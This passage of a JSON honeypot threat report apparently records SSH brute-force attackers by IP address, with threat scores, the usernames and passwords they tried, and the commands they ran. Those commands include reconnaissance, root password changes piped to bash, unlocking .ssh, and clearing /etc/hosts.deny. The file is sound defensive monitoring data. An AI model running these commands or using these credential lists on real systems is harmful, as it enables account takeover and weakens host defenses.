        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"Steam08!\\ndWCSINrLi1Kv\\ndWCSINrLi1Kv\\n\"|passwd",
        "echo \"mohit@123\\nwUOslgW4E2Yj\\nwUOslgW4E2Yj\\n\"|passwd",
        "echo \"root:ewukcdphTRli\"|chpasswd|bash",
        "echo \"root:sJ6ITUPGCc6F\"|chpasswd|bash",
        "echo \"root:zDJIO1TMenhG\"|chpasswd|bash",
        "echo \"test1234\\nRV4cjn9vOG6E\\nRV4cjn9vOG6E\\n\"|passwd",
        "echo -e \"Steam08!\\ndWCSINrLi1Kv\\ndWCSINrLi1Kv\"|passwd|bash",
        "echo -e \"mohit@123\\nwUOslgW4E2Yj\\nwUOslgW4E2Yj\"|passwd|bash",
        "echo -e \"test1234\\nRV4cjn9vOG6E\\nRV4cjn9vOG6E\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 6805,
      "as_org": "Telefonica Germany",
      "threat_score": 44.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30.0,
        "persistence": 14.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 997,
        "days_active_30d": 17,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-08T05:51:33.263000+00:00",
        "last_seen_30d": "2026-04-24T18:27:02.159000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 796,
        "Suricata": 201
      }
    },
    "103.156.204.2": {
      "attack_count": 720,
      "first_seen": "2026-04-18T19:49:06.495Z",
      "last_seen": "2026-04-20T11:51:55.411Z",
      "sessions": 85,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "user",
        "deploy",
        "elena",
        "ftptest",
        "newuser",
        "server",
        "steam",
        "stuser",
        "test",
        "teste",
        "ali",
        "boom",
        "bot",
        "claude",
        "d",
        "daniel",
        "frappe"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123456",
        "test123",
        "10041004",
        "123",
        "123321",
        "123456.a",
        "12345678",
        "12345678a",
        "123456A@",
        "123456a??",
        "1234qwerty",
        "1q2w3e4r.",
        "1qaz@WSX3edc",
        "232323",
        "A1q2w3e4r",
        "ABCD1234",
        "Aa123456"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123321\\nvlV2KQsuNLNS\\nvlV2KQsuNLNS\\n\"|passwd",
        "echo \"123456\\nsGUjDzMCtORg\\nsGUjDzMCtORg\\n\"|passwd",
        "echo \"1234\\nUo0a2LcJl0cA\\nUo0a2LcJl0cA\\n\"|passwd",
        "echo \"admin1234\\nNsvUlSL3gdS6\\nNsvUlSL3gdS6\\n\"|passwd",
        "echo \"stuser\\nuUFrDoBVdH1o\\nuUFrDoBVdH1o\\n\"|passwd",
        "echo -e \"123321\\nvlV2KQsuNLNS\\nvlV2KQsuNLNS\"|passwd|bash",
        "echo -e \"123456\\nsGUjDzMCtORg\\nsGUjDzMCtORg\"|passwd|bash",
        "echo -e \"1234\\nUo0a2LcJl0cA\\nUo0a2LcJl0cA\"|passwd|bash",
        "echo -e \"admin1234\\nNsvUlSL3gdS6\\nNsvUlSL3gdS6\"|passwd|bash",
        "echo -e \"stuser\\nuUFrDoBVdH1o\\nuUFrDoBVdH1o\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 140191,
      "as_org": "Vande Mahamaya Cable Network",
      "threat_score": 29.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 29.6,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 915,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-18T19:49:06.495000+00:00",
        "last_seen_30d": "2026-04-20T11:52:59.161000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 720,
        "Suricata": 195
      }
    },
    "125.31.2.160": {
      "attack_count": 660,
      "first_seen": "2026-04-07T16:47:14.926Z",
      "last_seen": "2026-04-23T21:12:42.060Z",
      "sessions": 85,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "test",
        "ubuntu",
        "deploy",
        "ftpuser",
        "gitlab",
        "postgres",
        "sammy",
        "st",
        "sysadmin",
        "user",
        "buser",
        "claude",
        "debian",
        "dev",
        "frappe",
        "ircd",
        "n8n",
        "odoo"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "12345678",
        "1",
        "111111!",
        "12121212",
        "12345",
        "123456789",
        "12345678a",
        "123456sX",
        "1qaz2wsx..",
        "1z2x3c4v",
        "22222222",
        "AAAaaa111",
        "AAxx1234",
        "Aa112211.",
        "AaAa1234",
        "Admin123$",
        "Cc123123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"password\\nQnrigcjLbUwJ\\nQnrigcjLbUwJ\\n\"|passwd",
        "echo \"root:ulmgyzCudnxU\"|chpasswd|bash",
        "echo \"st\\nU2bl00RxH42Q\\nU2bl00RxH42Q\\n\"|passwd",
        "echo \"user02!\\nCdPzDU9RSoeL\\nCdPzDU9RSoeL\\n\"|passwd",
        "echo -e \"password\\nQnrigcjLbUwJ\\nQnrigcjLbUwJ\"|passwd|bash",
        "echo -e \"st\\nU2bl00RxH42Q\\nU2bl00RxH42Q\"|passwd|bash",
        "echo -e \"user02!\\nCdPzDU9RSoeL\\nCdPzDU9RSoeL\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Macao",
      "country_code": "MO",
      "city": null,
      "asn": 4609,
      "as_org": "Companhia de Telecomunicacoes de Macau SARL",
      "threat_score": 42.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 29.3,
        "persistence": 14.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 851,
        "days_active_30d": 17,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T16:47:14.926000+00:00",
        "last_seen_30d": "2026-04-23T21:13:48.869000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 660,
        "Suricata": 191
      }
    },
    "103.154.62.14": {
      "attack_count": 618,
      "first_seen": "2026-04-02T23:32:24.190Z",
      "last_seen": "2026-04-11T22:21:42.305Z",
      "sessions": 77,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "postgres",
        "deploy",
        "oracle",
        "ravi",
        "test",
        "test1",
        "admin",
        "azureuser",
        "clouduser",
        "debian",
        "dev",
        "frappe-user",
        "ftptest",
        "ftpuser",
        "ftpuser01",
        "geonode",
        "info",
        "lekaren"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "!Q2w#E4r",
        "!QAZxsw2#EDC",
        "11",
        "123123",
        "12345",
        "123456!",
        "12345678",
        "12345678910",
        "123456789@Ab",
        "123zxcvbnm",
        "1Q2w3e4r!",
        "Founder123",
        "Ftpuser02",
        "Gandalf4You1434",
        "Micr0s0ft",
        "Oo123456!",
        "Oracle12!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"ravi\\n24sQUujjAfLs\\n24sQUujjAfLs\\n\"|passwd",
        "echo \"root:3RGAFIu4Oyph\"|chpasswd|bash",
        "echo \"root:FewznsA1sUal\"|chpasswd|bash",
        "echo \"root:xG4LJEOIOAax\"|chpasswd|bash",
        "echo -e \"ravi\\n24sQUujjAfLs\\n24sQUujjAfLs\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 135905,
      "as_org": "VIETNAM POSTS AND TELECOMMUNICATIONS GROUP",
      "threat_score": 18.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 29.0,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 800,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T23:32:24.190000+00:00",
        "last_seen_30d": "2026-04-11T22:22:46.121000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 618,
        "Suricata": 182
      }
    },
    "52.177.169.196": {
      "attack_count": 580,
      "first_seen": "2026-04-08T20:28:03.570Z",
      "last_seen": "2026-04-11T04:47:45.168Z",
      "sessions": 81,
      "ports": [],
      "usernames_attempted": [
        "root",
        "steam",
        "ubuntu",
        "345gs5662d34",
        "bot",
        "john",
        "test",
        "user",
        "admin",
        "alberto",
        "ali",
        "api",
        "backend",
        "celeryuser",
        "ec2-user",
        "games",
        "jack",
        "mcserver",
        "minecraft",
        "n8n"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "11112222",
        "1122",
        "1234",
        "12345",
        "123456",
        "123456a?",
        "12345@Abcde",
        "123qwertyuiop",
        "1q2w3e4r",
        "1qaz2wsx#EDC",
        "1qaz@WSX3edc$RFV@#",
        "A123123",
        "A123456Y",
        "Aa123456",
        "Aa135246",
        "Abcd2026",
        "Admin1234$"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"john\\nuJ0maReDKFnI\\nuJ0maReDKFnI\\n\"|passwd",
        "echo \"root:dYWbxJZX38n7\"|chpasswd|bash",
        "echo \"root:k4V6R6ywj7b5\"|chpasswd|bash",
        "echo -e \"john\\nuJ0maReDKFnI\\nuJ0maReDKFnI\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Boydton",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 16.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.8,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 766,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-08T20:28:03.570000+00:00",
        "last_seen_30d": "2026-04-11T04:48:51.809000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 580,
        "Suricata": 186
      }
    },
    "165.154.6.86": {
      "attack_count": 445,
      "first_seen": "2026-04-02T10:24:21.075Z",
      "last_seen": "2026-04-26T08:30:01.893Z",
      "sessions": 54,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "server",
        "admin",
        "deploy",
        "flussonic",
        "root/admin",
        "ubuntu",
        "ali",
        "banana",
        "bot",
        "ftptest",
        "jirka",
        "max",
        "op",
        "postgres",
        "tableau",
        "test",
        "user3",
        "vpn"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1212",
        "123",
        "123456",
        "1234560123",
        "123aaa123",
        "742024",
        "Aa1234567890",
        "Aa@123456",
        "Abc123!!!",
        "Admin",
        "Admin1@",
        "Ali30",
        "Kk123456789",
        "P@ssw0rd123!",
        "Pa55w0rd",
        "Pass123456",
        "Qwert13579",
        "Runner"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"flussonic\\n74WEXAR49VG3\\n74WEXAR49VG3\\n\"|passwd",
        "echo \"root:BXFmdPMZJMXq\"|chpasswd|bash",
        "echo \"root:CMaogt73Xd8j\"|chpasswd|bash",
        "echo -e \"flussonic\\n74WEXAR49VG3\\n74WEXAR49VG3\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.log.closed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 52.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.6,
        "persistence": 20.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 572,
        "days_active_30d": 25,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T10:24:21.075000+00:00",
        "last_seen_30d": "2026-04-26T08:31:11.625000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 445,
        "Suricata": 127
      }
    },
    "154.209.4.195": {
      "attack_count": 357,
      "first_seen": "2026-04-29T08:25:18.607Z",
      "last_seen": "2026-04-29T09:25:54.164Z",
      "sessions": 36,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "root",
        "345gs5662d34",
        "es",
        "ftpadmin",
        "odoo8",
        "postgres",
        "admin",
        "digital",
        "gitlab",
        "gitolite",
        "mysql",
        "openvpn",
        "rustserver",
        "samba",
        "siteadmin",
        "test",
        "test-user",
        "test_user",
        "vboxuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "admin123",
        "09876543",
        "1",
        "1234qwe",
        "1q2w3e4r",
        "35",
        "admin2024",
        "admin456!@#",
        "adminserver2009",
        "digital",
        "gitolite",
        "helloworld",
        "odoo8",
        "pass",
        "passpass",
        "password",
        "qwerty123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345\\nNvheVLNUBpAy\\nNvheVLNUBpAy\\n\"|passwd",
        "echo \"35\\nKjEIJIxNqJFn\\nKjEIJIxNqJFn\\n\"|passwd",
        "echo \"odoo8\\nPeyDmbdIgeKW\\nPeyDmbdIgeKW\\n\"|passwd",
        "echo -e \"12345\\nNvheVLNUBpAy\\nNvheVLNUBpAy\"|passwd|bash",
        "echo -e \"35\\nKjEIJIxNqJFn\\nKjEIJIxNqJFn\"|passwd|bash",
        "echo -e \"odoo8\\nPeyDmbdIgeKW\\nPeyDmbdIgeKW\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 142403,
      "as_org": "YISU CLOUD LTD",
      "threat_score": 38.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 440,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T08:25:18.607000+00:00",
        "last_seen_30d": "2026-04-29T09:26:55.235000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 357,
        "Suricata": 83
      }
    },
    "165.154.6.150": {
      "attack_count": 332,
      "first_seen": "2026-04-04T06:32:32.478Z",
      "last_seen": "2026-04-04T07:25:21.713Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "steam",
        "jk",
        "misuser",
        "ubuntu",
        "claude",
        "db2inst1",
        "deploy",
        "deployer",
        "dev",
        "ftp-test",
        "git",
        "myuser",
        "n8n",
        "rico"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456",
        "12345678",
        "123qwe",
        "124",
        "A1234567890",
        "Aa168168",
        "Abcd@2026",
        "Claude20!",
        "M45uys51!",
        "Steam!@#",
        "XXqq1234",
        "asd123",
        "db2inst1",
        "ftp-test",
        "misuser",
        "n8n31",
        "q1w2e3r4"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123\\nip3DmPj5Tdc5\\nip3DmPj5Tdc5\\n\"|passwd",
        "echo \"Steam!@#\\nLDQu68bIulus\\nLDQu68bIulus\\n\"|passwd",
        "echo \"misuser\\nxWoT2yJoPzig\\nxWoT2yJoPzig\\n\"|passwd",
        "echo -e \"123\\nip3DmPj5Tdc5\\nip3DmPj5Tdc5\"|passwd|bash",
        "echo -e \"Steam!@#\\nLDQu68bIulus\\nLDQu68bIulus\"|passwd|bash",
        "echo -e \"misuser\\nxWoT2yJoPzig\\nxWoT2yJoPzig\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 5.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 403,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T06:32:32.478000+00:00",
        "last_seen_30d": "2026-04-04T07:26:28.963000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 332,
        "Suricata": 71
      }
    },
    "94.159.104.233": {
      "attack_count": 331,
      "first_seen": "2026-04-17T21:09:10.794Z",
      "last_seen": "2026-04-17T21:45:15.004Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "contest",
        "ubuntu",
        "userftp",
        "git",
        "mutua",
        "mytest",
        "phptest",
        "postgres",
        "server",
        "thomas",
        "vpn"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ1qaz",
        "11111",
        "1234",
        "35",
        "A1231239",
        "A1234567O",
        "Abc@123...",
        "Admin123+",
        "Qazwsx000!@",
        "Qazwsx12345.",
        "Root13!",
        "Root2024!!",
        "Server",
        "Vpn5",
        "ZAQ!2wsx2025@123",
        "a1a2a3a4",
        "admin12..",
        "apollo13"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"contest\\n3mZogzJBaSy7\\n3mZogzJBaSy7\\n\"|passwd",
        "echo \"passw0rd\\nRcZqbhHPs3iL\\nRcZqbhHPs3iL\\n\"|passwd",
        "echo \"root:6g2ZdlYZA7WR\"|chpasswd|bash",
        "echo -e \"contest\\n3mZogzJBaSy7\\n3mZogzJBaSy7\"|passwd|bash",
        "echo -e \"passw0rd\\nRcZqbhHPs3iL\\nRcZqbhHPs3iL\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 215730,
      "as_org": "H2nexus Ltd",
      "threat_score": 22.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 400,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T21:09:10.794000+00:00",
        "last_seen_30d": "2026-04-17T21:46:17.747000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 331,
        "Suricata": 69
      }
    },
    "182.52.109.76": {
      "attack_count": 272,
      "first_seen": "2026-04-25T13:23:23.534Z",
      "last_seen": "2026-04-25T14:22:31.539Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "deploy",
        "desarrollo",
        "developer",
        "es",
        "fuser1",
        "server",
        "steam",
        "test",
        "ubuntu",
        "user02",
        "user3",
        "username",
        "vinay"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1q2w3E4R",
        "1qaz2WSX",
        "Aa112211.",
        "Ht@123456",
        "Li!123456",
        "Password123",
        "QWE123rty",
        "Qazwsx2024!!",
        "QwEr!2#4",
        "Root20",
        "Test13",
        "Ubuntu2022",
        "admin",
        "asdf!@",
        "d3pl0y",
        "desarrollo",
        "dev@2025",
        "developer@2025"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"d3pl0y\\noApZnyu8lrbh\\noApZnyu8lrbh\\n\"|passwd",
        "echo \"root:TkAdv7oVDOWv\"|chpasswd|bash",
        "echo -e \"d3pl0y\\noApZnyu8lrbh\\noApZnyu8lrbh\"|passwd|bash",
